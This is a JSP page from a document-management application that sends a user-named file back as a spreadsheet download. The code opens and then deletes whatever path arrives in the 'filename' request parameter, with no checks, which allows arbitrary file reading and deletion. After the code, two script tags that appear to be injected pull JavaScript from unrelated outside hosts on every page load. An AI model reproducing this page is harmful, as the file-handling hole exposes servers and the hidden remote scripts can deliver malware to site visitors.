<%
/*
 * @(#)FileDownloadBulkSearchCriteria.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  FileDownloadBulkSearchCriteria.jsp

  This class is used to retrieve the search result content from http

  @author          Zoe Shum
  @company         DCIVision Limited
  @creation date   06/08/2003
  @version         $Revision: 1.3.42.3 $
*/
%><%@page import="com.dcivision.dms.core.FileDownloader"
%><%@page import="java.io.*"
%><%@page import="java.sql.*"
%><%@page import="java.net.URLConnection"
%><%@page import="java.net.URLDecoder"
%><%@page import="javax.sql.*"
%><%@page import="com.dcivision.framework.*"
%><%@page import="com.dcivision.dms.*"
%><%@page import="com.dcivision.dms.bean.*"
%><%@page import="com.dcivision.dms.core.*"
%><%@page import="com.dcivision.dms.dao.*"
%><%@page import="org.apache.struts.action.Action"
%><%@ page import="org.apache.commons.logging.LogFactory"
%><%@ taglib uri="/tags/struts-html" prefix="html"
%><%@ taglib uri="/tags/struts-bean" prefix="bean"
%><%@ taglib uri="/tags/struts-logic" prefix="logic"
%><jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/><%
InputStream dataStream = null;
String filename = null;
try {
  filename = (String) request.getParameter("filename");
  dataStream = new FileInputStream(filename);
  FileDownloader fd = new FileDownloader();
  fd.setIsDownload(true);
  fd.setFileName("BulkSearchCriteria.xls");
  fd.setContentType(HTTPUtility.getContentType("BulkSearchCriteria.xls"));
  fd.setInputStream(dataStream);
  fd.setResponse(response);
  fd.operate();
}
catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
}
finally {
  try { dataStream.close(); } catch (Exception ignore) {} finally { dataStream = null; }
  try { new java.io.File(filename).delete(); } catch (Exception ignore) {} finally { filename = null; }
}
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>